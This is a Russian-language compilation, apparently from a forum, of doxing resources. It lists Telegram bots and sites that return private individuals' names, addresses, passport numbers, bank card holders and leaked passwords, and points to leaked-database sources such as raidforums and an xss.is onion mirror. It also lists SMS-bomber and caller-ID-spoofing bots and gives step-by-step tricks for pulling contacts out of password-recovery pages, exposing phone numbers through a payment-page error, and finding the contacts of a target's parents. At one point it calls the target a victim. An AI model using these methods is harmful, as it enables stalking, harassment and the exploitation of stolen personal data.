24. elections.istra-da.ru — реестр кандидатов на выборы, есть более миллиона человек, найдет судимости, дату рождения, место жительства и работы, должность, образование и прочее
25. /se_court_ru — список ресурсов для поиска в судах России
26. /fullname — список ресурсов для поиска по ФИО гражданина любой страны

Инструменты:

1. translit.net — переведёт ФИО из кириллицы в латиницу и наоборот

Через URL

https://www.gosuslugi.ru/api/posobi...e=Имя&middleName=Фамилия&birthDate=ГГГГ- ММ- ДД — найдет СНИЛС гражданина до 18 лет, нужно знать дату рождения, замените ГГГГ- ММ-ДД на дату рождения, и Имя, Фамилия, Отчество

Поиск по ИНН юридических лиц России
1. @egrul_bot — даст базовую информацию
2. nalog.ru (https://service.nalog.ru/bi.do) — проверка блокировки банковских счетов, выберите "Запрос о действующих решениях о приостановлении" а в место БИК указажите "123456789" или "000000000"
3. declaration.rostrud.ru (https://declaration.rostrud.ru/declaration/index) — нужно знать область, покажет адрес организации, название должностей и их количество в месте с индивидуальным номером рабочего места ещё и заключение эксперта
4. gks.ru (https://www.gks.ru/accounting_report) — предоставление данных бухгалтерской отчетности
5. bo.nalog.ru — найдет организацию и полную информацию о ней включая финансы
6. smartsearchbot.com — бот, находит компании, статус и адрес, ФИО директора и учредителей, бесплатный поиск не доступен для новых пользователей, всего 1 бесплатная попытка
7. rosstat.gov.ru (https://rosstat.gov.ru/accounting_report) — предоставление данных бухгалтерской отчетности
8. proverki.gov.ru (https://proverki.gov.ru/portal) — прокурорские проверки, найдет адрес объекта, основания проведения проверки и тип места
9. basis.myseldon.com (r) — найдет досье на организацию, выручку, связи, торговая деятельность, проверки, лицензии, арбитраж, контракты, дочерние организации, патенты и многое другое
10. fek.ru — найдет документы, финансы, проверки и базовую информацию
11. list-org.com — найдет финансы, графы связей, e-mail и телефоны указанные при регистрации, госзакупки, арбитраж, сертификаты, руководитель и реквизиты
12. checko.ru — реквизиты, уставной капитал, история изменений, связи, руководители учредители компании и прочее
13. egrul.nalog.ru (https://egrul.nalog.ru/index.html) — выдаст актуальную выписку из гос реестра на 6 страниц, с адресами, капиталом, ФИО и т.д.
14. odyssey-search.info (r) — находит адреса проживания, права, ФИО, документы, доходы, должности, телефоны, контакты, транспортные карты, автомобили, вылает отчёт на 50 страниц, а при регистрации можно указать любую российскую организацию
15. declaration.rostrud.gov.ru (https://declaration.rostrud.gov.ru/declaration/index) — найдет должности, число работников, адрес
16. e-disclosure.ru — найдет события компании, маркетинговые решения, бенефициаров, счета, оценку конкурентов и прочее
17. find-org.com — даст сообщения вестника гос.регистрации, контакты, историю смены руководителей, финансовую отчетность и арбитраж

Восстановление доступа

1. esia.gosuslugi.ru (https://esia.gosuslugi.ru/recovery/) — даст часть адреса почты и номера телефона

Базы данных
├ @MyGenisBot — найдет имя и фамилию владельца номера
├ @phone_avito_bot — найдет аккаунт на Авито
├ @SafeCallsBot — бесплатные анонимные звонки на любой номер телефона с подменой Caller ID
Ресурсы для пробива

• Lampyre (https://account.lampyre.io/email-and-phone-lookup) — веб
версия поиска по любому номеру телефона, поиск по аккаунтам и телефонной книге

• от себя: полезная вещь в osint-сфере, не раз спасала меня.
  • Getcontact (https://getcontact.com/) — найдет информацию о том как записан номер в контактах - от себя: Сайт хороший, но я думаю, что бот в телеграмме будет на много удобнее для Вас.
  • Truecaller (https://www.truecaller.com/) — телефонная книга, найдет имя и оператора телефона - от себя: Вещь годная, но долго возиться
  • Bullshit (https://mirror.bullshit.agency/) — поиск объявлений по номеру телефона - Иногда нужен VPN
  • @numberPhoneBot (https://t.me/@numberPhoneBot) — найдет адрес и ФИО, не всегда находит
  • Spravnik (https://spravnik.com/) — поиск по городскому номеру телефона, найдет ФИО и адрес
  • @info_baza_bot (https://t.me/@info_baza_bot) — поиск в базе данных
  • @find_caller_bot (https://t.me/@find_caller_bot) — найдет ФИО владельца номера телефона
  • @usersbox_bot (https://t.me/@usersbox_bot) — бот найдет аккаунты в ВК у которых в поле номера телефона указан искомый номер
  • @getbank_bot (https://t.me/@getbank_bot) — дает номер карты и полное ФИО клиента банка
  • @eyegodsbot - Телеграмм бот, часто радовал меня, есть бесплатные пробивы по машинам, лицу, номеру телефона, есть платный контент.
  • @egrul_bot - Пробивает конторы/ИП, по вводу ФИО/фирмы предоставляет ИНН объекта; учредителей бизнеса/партнеров и отчет налоговую декларацию. И наоборот: поиск по ИНН выдаст ФИО/конторы. Базы данных сами понимаете откуда. Ограничений бота – нет.

• @mnp_bot
• @xinitbot
• @black_triangle_tg 3. Лицо
L Поиск лицу
[!] Содержимое раздела:

• FindTwin face search demo + @VkUrlBot (бот подобие сайта)— https://findclone.ru/
• Face search • PimEyes — https://pimeyes.com/en/
• Betaface free online demo — Face recognition, Face search, Face analysis — http://betaface.com/demo_old.html
• VK.watch – история профилей ВКонтакте — https://vk.watch/

4. Поисковые системы
L Поисковые Cистемы Людей:
[!] Содержимое раздела:

• https://www.peekyou.com/
• https://pipl.com/
• https://thatsthem.com/
• https://hunter.io/
• https://www.beenverified.com/
5. Ip-адрес.
L Проверка айпи адресов:
[!] Содержимое раздела:

• https://whatismyipaddress.com/
• http://www.ipaddresslocation.org/
• https://lookup.icann.org/
• https://www.hashemian.com/whoami/

Поиск по EMAIL:

• https://haveibeenpwned.com/
• https://hacked-emails.com/
• https://ghostproject.fr/
• https://weleakinfo.com/
• https://pipl.com/
• https://leakedsource.ru/

Дополнения:

====================================================================================================================================================
https://t.me/HowToFind - помогает найти информацию по известным данным. Очень мощная штука.
https://t.me/InstaBot - скачивает фото, видео, аватарки, истории из Instagram
https://t.me/VKUserInfo_bot - Удобный способ спарсить открытую информацию аккаунта ВК по id
https://t.me/InfoVkUser_bot - позволяет провести анализ друзей профиля и выдает город + ВУЗ
https://t.me/Smart_SearchBot - поиск информации по номеру телефона
https://t.me/egrul_bot - сведения о государственной регистрации юрлиц и ИП
https://t.me/buzzim_alerts_bot - бот для мониторинга открытых каналов и групп в Telegram
https://t.me/callcoinbot - звонилка
https://t.me/TempGMailBot - выдает временный адрес [домен: ....gmail.com]
https://t.me/DropmailBot - выдает временный адрес [домен: ....laste.ml]
https://t.me/fakemailbot - выдает временный адрес [домен: ....hi2.in]
https://t.me/etlgr_bot - временые адреса c возможностью повторного использования и отправки сообщений.
https://t.me/remindmemegabot - хорошая напоминалка
https://t.me/MoneyPieBot - поможет не забыть о ваших долгах

SmsBomberTelegram​

You can contact @SmsBomberTelegram_bot right away.
t.me

SmsBomber​

Support бота: @SayanaroB0y (Писать по делу/рекламе)
t.me

FREE SMS Bomber 2.0​

FREE SMS Bomber 2.0
t.me
https://t.me/flibustafreebookbot - библиотека книг (флибуста, https://flibusta.appspot.com/)
https://t.me/Instasave_bot - скачивает видео из Instagram. Бот справляется всего за несколько секунд — достаточно отправить ссылку, и он скачивает файл самостоятельно.
https://t.me/red_cross_bot - бот накладывает красный крест на любое изображение, отправленное ему.
https://t.me/vk_bot - бот, позволяющий настроить интеграцию с VKontakte.
https://t.me/VoiceEffectsBot - меняет тон вашей голосовухи, можно добавить эффекты итп.
https://t.me/roundNoteBot - бот, который превращает любое видео в кругляшку, будто кто то ее сам снял.
https://t.me/ParserFree2Bot - юзабельный бесплатный парсер чатов, на 100% выполняющий свою функцию
https://t.me/DotaGosuBot - Бот, генерирует оскорбления.
https://t.me/URL2IMGBot - Бот делает скриншот сайта, по отправленной вами ссылке.
https://t.me/imgurbot_bot - ТГ бот, кидаешь ему картинку, он создаёт ссылку на имгур.

====================================================================================================================================================
@Smart_SearchBot - Помогает найти дополнительную информацию, относительно телефонного номера, id ВКонтакте, email, или ИНН юр./физ. лица.
@Getcontact_Officalbot – показывает как номер телефона записан в контактах других людей
@info_baza_bot – база данных номеров телефона, email
@get_caller_bot - Ищет только по номеру телефона. На выходе: ФИО, дата рождения, почта и «ВКонтакте»
@OpenDataUABot – по коду ЕДРПОУ возвращает данные о компании из реестра, по ФИО — наличие регистрации ФОП
@YouControlBot - полное досье на каждую компанию Украины
@mailseatchbot - По запросу пробива e-mail выдает открытый пароль от ящика если тот есть в базе
@Dosie_Bot – создатели «Досье» пошли дальше и по номеру телефона отдают ИНН и номер паспорта

@UAfindbot – База данных Украины

└ Установите расширение для браузера VKopt скачав здесь - https://vkopt.net/download/

Дополнения:

====================================================================================================================================================
https://t.me/HowToFind - помогает найти информацию по известным данным. Очень мощная штука.
https://t.me/InstaBot - скачивает фото, видео, аватарки, истории из Instagram
https://t.me/VKUserInfo_bot - Удобный способ спарсить открытую информацию аккаунта ВК по id
https://t.me/InfoVkUser_bot - позволяет провести анализ друзей профиля и выдает город + ВУЗ
https://t.me/Smart_SearchBot - поиск информации по номеру телефона
https://t.me/egrul_bot - сведения о государственной регистрации юрлиц и ИП
https://t.me/buzzim_alerts_bot - бот для мониторинга открытых каналов и групп в Telegram
https://t.me/callcoinbot - звонилка
https://t.me/TempGMailBot - выдает временный адрес [домен: ....gmail.com]
https://t.me/DropmailBot - выдает временный адрес [домен: ....laste.ml]
https://t.me/fakemailbot - выдает временный адрес [домен: ....hi2.in]
https://t.me/etlgr_bot - временые адреса c возможностью повторного использования и отправки сообщений.
https://t.me/remindmemegabot - хорошая напоминалка
https://t.me/MoneyPieBot - поможет не забыть о ваших долгах
https://t.me/SmsBomberTelegram_bot
https://t.me/SmsB0mber_bot
https://t.me/smsbomberfreebot
https://t.me/flibustafreebookbot - библиотека книг (флибуста, https://flibusta.appspot.com/)
https://t.me/Instasave_bot - скачивает видео из Instagram. Бот справляется всего за несколько секунд — достаточно отправить ссылку, и он скачивает файл самостоятельно.
https://t.me/red_cross_bot - бот накладывает красный крест на любое изображение, отправленное ему.
https://t.me/vk_bot - бот, позволяющий настроить интеграцию с VKontakte.
https://t.me/VoiceEffectsBot - меняет тон вашей голосовухи, можно добавить эффекты итп.
https://t.me/roundNoteBot - бот, который превращает любое видео в кругляшку, будто кто то ее сам снял.
https://t.me/ParserFree2Bot - юзабельный бесплатный парсер чатов, на 100% выполняющий свою функцию
https://t.me/DotaGosuBot - Бот, генерирует оскорбления.
https://t.me/URL2IMGBot - Бот делает скриншот сайта, по отправленной вами ссылке. [IMG]
https://t.me/imgurbot_bot - ТГ бот, кидаешь ему картинку, он создаёт ссылку на имгур. [IMG]

====================================================================================================================================================
@Smart_SearchBot - Помогает найти дополнительную информацию, относительно телефонного номера, id ВКонтакте, email, или ИНН юр./физ. лица.

Как найти аккаунт в ВК зная e-mail адрес от Яндекса

1. Уберите из адреса почты @yandex.ru, у вас останется логин
2. Вставьте логин в ссылку https://music.yandex.com/users/LOGIN и перейдите по ссылке
3. Если аккаунт нашелся, то откройте исходный код страницы (Ctrl+U)
4. Откройте поиск по странице (Ctrl+F) и введите туда vk.com

Работает не со всеми аккаунтами и игнорируйте ссылку на страницу VK Яндекс Музыки!
Как по адресу Яндекс почты найти отзывы на картах Яндекса

1. Уберите из адреса почты @yandex.ru, у вас останется логин
2. Вставьте логин в ссылку https://yandex.ru/collections/user/LOGIN
3. Откройте исходный код страницы (Ctrl+U)
4, Откройте поиск по странице (Ctrl+F) и введите туда public_id
5. В результатах поиска будет 2 таких словосочетания, найдите второе
6. После второго public_id идет набор цифр и букв (например: c48fhxw0qppa50289r5c9ku4k4) которое нужно скопировать.
7. Вставьте скопированный текст в этот URL - https://yandex.ru/user/<Public_id> (замените <Public_id> на то что вы скопировали) и откройте эту ссылку

ОЧЕНЬ ХОРОШИЙ САЙТ, КОТОРЫЙ СОДЕРЖИТ ТОННЫ И ТОННЫ ДОКСИНГОВЫХ ИНСТРУМЕНТОВ https://cybertoolbank.cc p.s про него мало кто знает (на английском)

Три самых ахуенных сайта через которые ты можешь дальше развиваться в данной сфере:
https://xss.is/
http://**********/
https://rutor[.]wtf

https://spyse.com/ — поисковая система по кибербезопасности для получения технической информации, которая обычно используется некоторыми хакерами в киберразведке.

Как найти аккаунт в ВК зная e-mail адрес от Яндекса

1. Уберите из адреса почты @yandex.ru, у вас останется логин
2. Вставьте логин в ссылку https://music.yandex.com/users/LOGIN и перейдите по ссылке
3. Если аккаунт нашелся, то откройте исходный код страницы (Ctrl+U)
4. Откройте поиск по странице (Ctrl+F) и введите туда vk.com

Работает не со всеми аккаунтами и игнорируйте ссылку на страницу VK Яндекс Музыки!
Как по адресу Яндекс почты найти отзывы на картах Яндекса
1. Уберите из адреса почты @yandex.ru, у вас останется логин
2. Вставьте логин в ссылку https://yandex.ru/collections/user/LOGIN
3. Откройте исходный код страницы (Ctrl+U)
4, Откройте поиск по странице (Ctrl+F) и введите туда public_id
5. В результатах поиска будет 2 таких словосочетания, найдите второе
6. После второго public_id идет набор цифр и букв (например: c48fhxw0qppa50289r5c9ku4k4) которое нужно скопировать.
7. Вставьте скопированный текст в этот URL - https://yandex.ru/user/<Public_id> (замените <Public_id> на то что вы скопировали) и откройте эту ссылку.

Поиск контрагента

https://service.nalog.ru/zd.do - Сведения о юридических лицах, имеющих задолженность по уплате налогов и/или не представляющих налоговую отчетность более года
https://service.nalog.ru/addrfind.do - Адреса, указанные при государственной регистрации в качестве места нахождения несколькими юридическими лицами
https://service.nalog.ru/uwsfind.do - Сведения о юридических лицах и индивидуальных предпринимателях, в отношении которых представлены документы для государственной регистрации
https://service.nalog.ru/disqualified.do - Поиск сведений в реестре дисквалифицированных лиц
https://service.nalog.ru/disfind.do - Юридические лица, в состав исполнительных органов которых входят дисквалифицированные лица
https://service.nalog.ru/svl.do - Сведения о лицах, в отношении которых факт невозможности участия (осуществления руководства) в организации установлен (подтвержден) в судебном порядке
https://service.nalog.ru/mru.do - Сведения о физических лицах, являющихся руководителями или учредителями (участниками) нескольких юридических лиц

https://fedresurs.ru/ - Единый федеральный реестр юридически значимых сведений о фактах деятельности юридических лиц, индивидуальных предпринимателей и иных субъектов экономической деятельности

http://rkn.gov.ru/mass-communications/reestr/ – реестры Госкомнадзора.
http://www.chinacheckup.com/ – лучший платный ресурс по оперативной и достоверной верификации китайских компаний.
http://www.dnb.com/products.html - модернизированный ресурс одной из лучших в мире компаний в сфере бизнес-информации Dun and Bradstreet.
http://www.imena.ua/blog/ukraine-database/ – 140+ общедоступных электронных баз данных Украины.
http://www.fciit.ru/ – eдиная информационная система нотариата России.
http://gradoteka.ru/ – удобный сервис статистической информации по городам РФ.
http://www.egrul.ru/ - сервис по поиску сведений о компаниях и директорах из государственных реестров юридических лиц России и 150 стран мира.
http://disclosure.skrin.ru - уполномоченное ФСФР (Федеральной службой по финансовым рынкам) на раскрытие информации на рынке ценных бумаг агентство ЗАО “СКРИН”.
http://1prime.ru/docs/product/disclosure.html – уполномоченное ФСФР (Федеральной службой по финансовым рынкам) на раскрытие информации на рынке ценных бумаг агентство ЗАО “Прайм-ТАСС”.
https://www.cbr.ru/ - информация ЦБ по бюро кредитных историй, внесенных в государственный реестр.
http://www.gks.ru/accounting_report – предоставление данных бухгалтерской отчетности по запросам пользователей от Федеральной службы государственной статистики.
http://www.tks.ru/db/ – таможенные онлайн базы данных.
http://tipodop.ru/ - очередной каталог предприятий, организаций в России.
http://www.catalogfactory.org/ – организации России – финансовые результаты, справочные данные и отзывы. Данные в настоящее время доступны по 4,8 млн.организаций.
http://pravo.ru/ – справочно-информационная система, включающая в настоящее время 40 млн. законодательных, нормативных и поднормативных актов Российской Федерации.
http://azstatus.ru/ – информационная база данных, в которой содержится информация обо всех предпринимателях Российской Федерации, а также информация о российских компаниях (юридические лица). Всего в справочнике более 10 миллионов записей.
http://seldon.ru/ – информационно-аналитическая система, значительно упрощающая и систематизирующая работу с закупками.
http://www.reestrtpprf.ru/ – реестр надежных партнеров от системы Торгово- промышленных палат в Российской Федерации.
http://iskr-a.com/ – сообщество безопасников и платформа для информационного взаимодействия в одном флаконе.
http://www.ruscentr.com/ - реестр базовых организаций российской экономики, добросовестных поставщиков и бюджетоэффективных заказчиков (организаций).
https://www.aips-ariadna.com/ – антикриминальная онлайн система учета по России и СНГ. Относится к тому же ценовому сегменту, что и «Контур Фокус» и т.п., и отличается от других систем большим уклоном в судебные и правоохранительные данные. Ориентирована прежде всего на службу безопасности.
правоохранительные данные. Ориентирована прежде всего на службу безопасности.
http://188.254.71.82/rds_ts_pub/ – единый реестр зарегистрированных деклараций РФ.
http://croinform.ru/index.php?page=index – сервис проверки клиентов, конкурентов, партнеров и контрагентов в режиме реального времени 24/7, в т.ч. со смартфона. Цены вполне человеческие. Сервис знаменитого Кроноса.
http://www.zakupki.gov.ru/epz/main/public/home.html – официальный сайт Российской Федерации для размещения информации о размещении заказов на поставки товаров, выполнение работ, оказание услуг.
http://rostender.info/ – ежедневная рассылка новых тендеров в соответствии с отраслевыми и региональными настройками.
http://pravo.fso.gov.ru/ – государственная система правовой информации. Позволяет быть в курсе всех новых правовых актов. Имеет удобный поисковик.
http://www.bicotender.ru/ - самая полная поисковая система тендеров и закупок по России и странам СНГ.
http://sophist.hse.ru/ – единый архив экономических и социологических данных по российской Федерации от НИУ ВШЭ.
http://www.tenderguru.ru/ – национальный тендерный портал, представляет собой единую базу государственных и коммерческих тендеров с ежедневной рассылкой анонсов по объявленным тендерам.
http://www.moscowbase.ru/ - поддерживаемые в состоянии постоянной актуальности адресно-телефонные базы данных по компаниям Москвы и России. Уникальным продуктом компании являются базы данных новых компаний, появившихся в течение двух последних кварталов. В данные включается вся стандартная информация, предоставляемая платными онлайн базами, плюс актуальные внутренние телефоны и e-mail.
http://www.credinform.ru/ru-RU/globas - информационно-аналитическая система ГЛОБАС – I содержит данные о семи миллионах компаний. Предназначена для комплексной информационной поддержке бизнеса и создания комплексных аналитических отчетов.
http://www.actinfo.ru/ – отраслевой бизнес-справочник предприятий России по их актуальным почтовым адресам и контактным телефонам. Единственный справочник, который включает контактные данные по предприятиям, созданным в предыдущем квартале.
http://www.sudrf.ru/ -государственная автоматизированная система РФ

«Правосудие».
http://docs.pravo.ru/ – справочно-правовая система Право.ру. Предоставляет полный доступ к нормативным документам любых субъектов Российской Федерации, а также к судебной практике арбитражных судов и мнениям экспертов любых юридических областей. Ежемесячная плата для работы с полной базой документов составляет 500 руб.
http://www.egrul.com/ – платные и бесплатные сервисы поиска по ЕГРЮЛ, ЕГРИП, ФИО, балансам предприятий и др. параметрам. Одно из лучших соотношений цены и качества.
http://www.fedresurs.ru/ – единый федеральный реестр сведений о фактах деятельности юридических лиц.
http://www.findsmi.ru/ – бесплатный сервис поиска данных по 65 тыс. региональных СМИ.
http://hub.opengovdata.ru/ – хаб, содержащий открытые государственные данные всех уровней, всех направлений. Проект Ивана Бегтина.
http://www.ruward.ru/ – ресурс агрегатор всех рейтингов Рунета. В настоящее время уже содержит 46 рейтингов и более 1000 компаний из web и PR индустрии.
http://www.b2b-energo.ru/firm_dossier/ - информационно-аналитическая и торгово-операционная система рынка продукции, услуг и технологий для электроэнергетики.
http://opengovdata.ru/ – открытые базы данных государственных ресурсов
http://bir.1prime.ru/ – информационно-аналитическая система «Бир-аналитик» позволяет осуществлять поиск данных и проводить комплексный анализ по всем хозяйствующим субъектам России, включая компании, кредитные организации, страховые общества, регионы и города.
http://www.prima-inform.ru/ – прямой доступ к платным и бесплатным информационным ресурсам различных, в т.ч. контролирующих организаций. Позволяет получать документы и сводные отчеты, информацию о российских компаниях, индивидуальных предпринимателях и физических лицах, сведения из контролирующих организаций. Позволяет проверять субъектов на аффилированность и многое другое.
http://www.integrum.ru/ –портал для конкурентной разведки с самым дружественным интерфейсом. Содержит максимум информации, различных баз данных, инструментов мониторинга и аналитики. Позволяет компании в зависимости от ее нужд, размеров и бюджета выбирать режим пользования порталом.
www.spark-interfax.ru – портал обладает необходимой для потребностей конкурентной разведки полнотой баз данных, развитым функционалом, постоянно добавляет новые сервисы.
https://fira.ru/ – молодой быстроразвивающийся проект, располагает полной и оперативной базой данных предприятий, организаций и регионов. Имеет конкурентные цены.
www.skrin.ru – портал информации об эмитентах ценных бумаг. Наряду с обязательной информацией об эмитентах содержит базы обзоров предприятий, отраслей, отчетность по стандартам РБУ, ГААП, ИАС. ЗАО “СКРИН” является организацией, уполномоченной ФСФР.
http://www.magelan.pro/ – портал по тендерам, электронным аукционам и коммерческим закупкам. Включает в себя качественный поисковик по данной предметной сфере.
http://www.kontragent.info/ – ресурс предоставляет информацию о реквизитах контрагентов и реквизитах, соответствующих ведению бизнеса.
http://www.ist-budget.ru/ – веб-сервис по всем тендерам, госзаказам и госзакупкам России. Включает бесплатный поисковик по полной базе тендеров, а также недорогой платный сервис, включающий поиск с использованием расширенных фильтров, по тематическим каталогам. Кроме того, пользователи портала могут получать аналитические отчеты по заказчикам и поставщикам по тендерам. Есть и система прогнозирования возможных победителей тендеров.
http://www.vuve.su/ - портал информации об организациях, предприятиях и компаниях, ведущих свою деятельность в России и на территории СНГ. На сегодняшний день база портала содержит сведения о более чем 1 млн. организаций.
http://www.disclosure.ru/index.shtml - система раскрытия информации на рынке ценных бумаг Российской Федерации. Включает отчетность эмитентов, существенные новости, отраслевые обзоры и анализ тенденций.
http://www.mosstat.ru/index.html – бесплатные и платные онлайн базы данных и сервисы по ЕГРПО и ЕГРЮЛ Москвы и России, а также бухгалтерские балансы с 2005 года по настоящее время. По платным базам самые низкие тарифы в Рунете. Хорошая навигация, удобная оплата, качественная и оперативная работа.
http://www.torg94.ru/ – качественный оперативный и полезный ресурс по госзакупкам, электронным торгам и госзаказам.
http://www.k-agent.ru/ – база данных «Контрагент». Состоит из карточек компаний, связанных с ними документов, списков аффилированных лиц и
годовых бухгалтерских отчетов. Документы по компаниям представлены с 2006 г. Цена в месяц 900 руб. Запрашивать данные можно на сколь угодно много компаний.
http://www.is-zakupki.ru/ – информационная система государственных и коммерческих закупок. В системе собрана наиболее полная информация по государственным, муниципальным и коммерческим закупкам по всей территории РФ. Очень удобна в работе, имеет много дополнительных сервисов и, что приятно, абсолютно разумные, доступные даже для малого бизнеса цены.
http://salespring.ru/ – открытая пополняемая база данных деловых контактов предприятий России и СНГ и их сотрудников. Функционирует как своеобразная биржа контактов.
www.multistat.ru – многофункциональный статистический портал. Официальный портал ГМЦ Росстата.
http://sanstv.ru/photomap/ (поиск фото по геометкам в соц. сетях)

1. https://regvk.com - узнать цифровой ID человека ВКонтакте.
2. https://rusfinder.pro/vk/user/id********* (здесь цифровой ID) - узнать данные указанные при регистрации аккаунта ВКонтакте.
Если ничего старого нет, обновите страницу и быстро делайте скрин области. С новорегами не работает.
3. http://archive.fo - просмотреть web-архив страницы. Редко помогает.
4. https://220vk.com - посмотреть скрытых друзей пользователя ВКонтакте. Работает только со старыми страницами, закрытые профили не чекает.
5. Ошибка

503 Bad Gateway

на DonatePay/DonationAlerts.
Если пользователь использует донат-сервисы, вы можете попытаться узнать его номер сделав ошибку через просмотр кода элемента на странице оплаты. Работает по сей день.
6. https://zhuteli.rosfirm.info - одна из баз данных адресов. Многих городов нет, ищем по районному центру.
7. https://nomer.org - одна из баз данных адресов. Есть множество городов, поиск только по фамилии.
Карта движения судов в реальном времени: https://www.marinetraffic.com
Карта движения судов в реальном времени: https://seatracker.ru/ais.php
Карта движения судов: http://shipfinder.co/
Отслеживание самолетов: https://planefinder.net/
Отслеживание самолетов: https://www.radarbox24.com/
Отслеживание самолетов: https://de.flightaware.com/
Отслеживание самолетов: https://www.flightradar24.com

Общий поиск по соц. сетям, большой набор разных инструментов для поиска:
- http://osintframework.com/
https://findclone.ru/- Лучшая доступная технология распознавания лиц (документация)

Поиск местоположения базовой станции сотового оператора:
[LIST]
[]http://unwiredlabs.com
[]http://xinit.ru/bs/
[/LIST]

https://www.reestr-zalogov.ru/search/index - Реестр уведомлений о залоге движимого имущества
https://мвд.рф/wanted - Внимание, розыск! можно порофлить тут или кинуть еблет жертвы в подслушку города хаххахахахахахахха
https://www.mos.ru/karta-moskvicha/services-proverka-grazhdanina-v-reestre- studentov/ - Проверка гражданина в реестре студентов/ординаторов/аспирантов (держатели карты москвича)
http://esugi.rosim.ru - Реестр федерального имущества Российской Федерации
pd.rkn.gov.ru/operators-registry - Реестр операторов, осуществляющих обработку персональных данных
bankrot.fedresurs.ru - Единый федеральный реестр сведений о банкротстве.

Пробив по биткоин-кошельку
Уже не является секретом, что биткоин не так анонимен, как многие думают. Баланс кошелька и все его переводы можно легко отследить. Именно для этого привожу список некоторых сервисов, которые помогут нам в этом
1. Bitref — Проверка биткоин кошелька.
3. Cryptocurrency Alerting — Сервис, позволяющий настроить оповещения об активности интересующего вас адреса.
4. Blockseer — Визуализация связей между адресами, участвовавшими в осуществлении транзакций.
Поиск по номеру карты
1. bincheck.io
2. binchecker.com
4. freebinchecker.com
5. binlist.io

Поиск по физическому адресу Украины

1. spravnik.com — найдет номер телефона, ФИО
2. liveuamap.com — отмечены места из новостей с происшествиями, преступностью, катаклизмами и еще 40 видов событий
3. map.land.gov.ua — кадастровая карта
4. /physical_address — список ресурсов для поиска по физическому адресу любой страны

архив баз банков, сайтов, приложений
2. raidforums.com (r) — ссылки на скачивание разных баз с 1995 года
3. @basetelega (https://t.me/basetelega) — утечки, компании, парсинг открытых источников
4. ebaza.pro (r) — есть email, телефонные номера, физ. лица, предприятия, базы доменов и другие
5. xss.is (http://xssforumv3isucukbxhdhwz67hoa5e2voakcfkuieq4ch257vsburuid.onion/) — список баз, 3,5B записей, 52 базы
6. hub.opengovdata.ru — Российские базы статистики, росстата, архивы сайтов, финансы, индикаторы, федеральные органы власти, суды и т.д
7. @freedomf0x — утечки сайтов, приложений, гос. структур
8. @leaks_db — агрегатор публичных утечек
9. @BreachedData — утечки сайтов, приложений, соц. сетей, форумов и т.д.
10. @opendataleaks — дампы сайтов школ, судов, институтов, форумов по всему миру
11. @fuckeddb — дампы сайтов, приложений, социальных сетей, школ, судов, институтов, государственных ресурсов, форумов по всему миру

Как найти владельца сообщества VK

Через приложение
└ Откройте VKinfo(https://vk.com/app7183114) и впишите ссылку на сообщество

Через сайт
└ Откройте http://yzad.ru и дайте ссылку на паблик

Через документы
1. Откройте раздел документы в сообществе
2. Откройте исходный код страницы (Ctrl+U)
3. Откройте окно поиска(Ctrl+F)
4. В окне поиска введите имя файла которое есть в сообществе. В результатах должна быть строка с именем файла, пример:
[["439837850","xls","OkiDoki.xls","806 КБ, 01 октбр 2020 в 17:59","-27921417",0,"","138633190",false,1,""]]
где OkiDoki.xls имя файла, а 138633190 ID пользователя загрузившего этот файл, как правило это ID админа

Поиск телефона/почты родителей
.
Для того чтобы найти почту нам нужны хотя бы одна из этих вещей: Профиль ВК, Профиль ОК, ФИ + ДР
Заметим, что не всегда получится вытащить, но у меня в большинстве случаев получалось.

1. Идем на сайт восстановления пароля ok.ru (https://m.ok.ru/dk?st.cmd=accountRecoverFeedbackForm) и достаем в некоторых случаях часть почты и телефона. Если почту легко угадать - угадываем. Если ничего не получилось - идем дальше
2. Идем в бота (https://t.me/ssb_russian_probiv_bot) и если профилю больше 5-6 лет и он был активен - то отправляем ссылку на вк ему. Выдаст почту и телефон - чекает по базам ВК.
3. Последний способ это способ связанный с my.mail.ru . Для начала регистрируемся в майл ру. Нажимаем на поиск людей (https://my.mail.ru/my/search_people?) и вбиваем Фамилию Имя. Фильтруем и в некоторых случаях получаем ссылку по типу my.mail.ru/домен/ник. Получается почта ник@домен.ру

Поисковики во всем Интернете

Поиск осуществляется по любым данным

Clearnet

1. duckduckgo.com — есть операторы поиска
2. mojeek.com — есть фильтры по странам
3. baidu.com — китайская поисковая система
4. swisscows.com — семантическая поисковая система
5. aleph.occrp.org — поиск в базах данных, реестрах компаний, утечках, и многом другом
6. opendirectory-finder (https://ewasion.github.io/opendirectory-finder/) — поиск в Google с дорками
7. publicwww.com (r) — поиск по исходному коду страниц, есть поддержка регулярных выражений
8. search.carrot2.org — визуализирует результаты в графы, чарты, есть несколько источников данных
9. findpdfdoc.com — поиск в Google с фильтром по расширению файла
10. keywordtool.io (https://keywordtool.io/search/keywords/) — покажет какие ключевые слова на запрос при поиске выдает Google, YouTube, Bing, Amazon. eBay, Instagram, Twitter
11. millionshort.com — помогает убрать необходимое количество результатов из топа выдачи поисковиков, есть фильтры по дате, стране и по домену
12. brightlocal.com (https://www.brightlocal.com/local-search-results- checker/) — поиск в Google с локальным и языковым фильтром
13. trove.nla.gov.au (https://trove.nla.gov.au/search/category/websites) — поиск в архиве веб страниц, фильтры по дате и типу документа
14. nationalarchives.gov.uk (http://webarchive.nationalarchives.gov.uk/search/) — поиск в архиве веб страниц, фильтры по году и типу документа
15. eresources.nlb.gov.sg (http://eresources.nlb.gov.sg/webarchives/landing- page) — поиск в сингапурском веб архиве, фильтры по году, типу документа и категории
16. webarchive.archive.unhcr.org (https://webarchive.archive.unhcr.org/search) — поиск в веб архиве, фильтры по дате, типу документа
17. tools.digitalmethods.net (http://tools.digitalmethods.net/beta/scrapeGoogle/autocomplete.php) — покажет какие фразы предлагает Google по запросу, есть фильтры по стране и языку

Tor/Onion

1. FreshOnions
(http://freshonifyfe4rmuh6qwpsexfhdrww7wnt5qmkoertwxmcuvm4woo4ad.onion/)2. DarkSearch
(https://darksearch.io/)3. onionsearchengine.com
4. dargle.net (http://www.dargle.net/search) — поиск в заголовках onion- сайтов
5. ahmia.fi
6. zorexeye.com (http://zorexeye.com/s/darkweb/) — перенаправляет запрос на 21 поисковую систему, иногда работает только через VPN
7. darktracer.com (r)

I2P

1. darktracer.com (r)

Парсеры

1. googler (https://github.com/jarun/googler) (t) — сохранит результаты выдачи Google в файл, поддерживает дорк

xinit.ru
Поиск по номеру трекера

Трекеры это инструмент сбора данных о пользователях для аналитики. Используются на сайтах и в приложениях. Каждый трекер имеет свой уникальный номер который укзан в исходном коде веб страницы. Пример: UA-123456789 — трекер Google Analytics.

1. shodan.io — найдет IP адреса и сайты с упоминанием кода трекера
2. spyonweb.com — найдет сайты с искомым трекером UA. pub
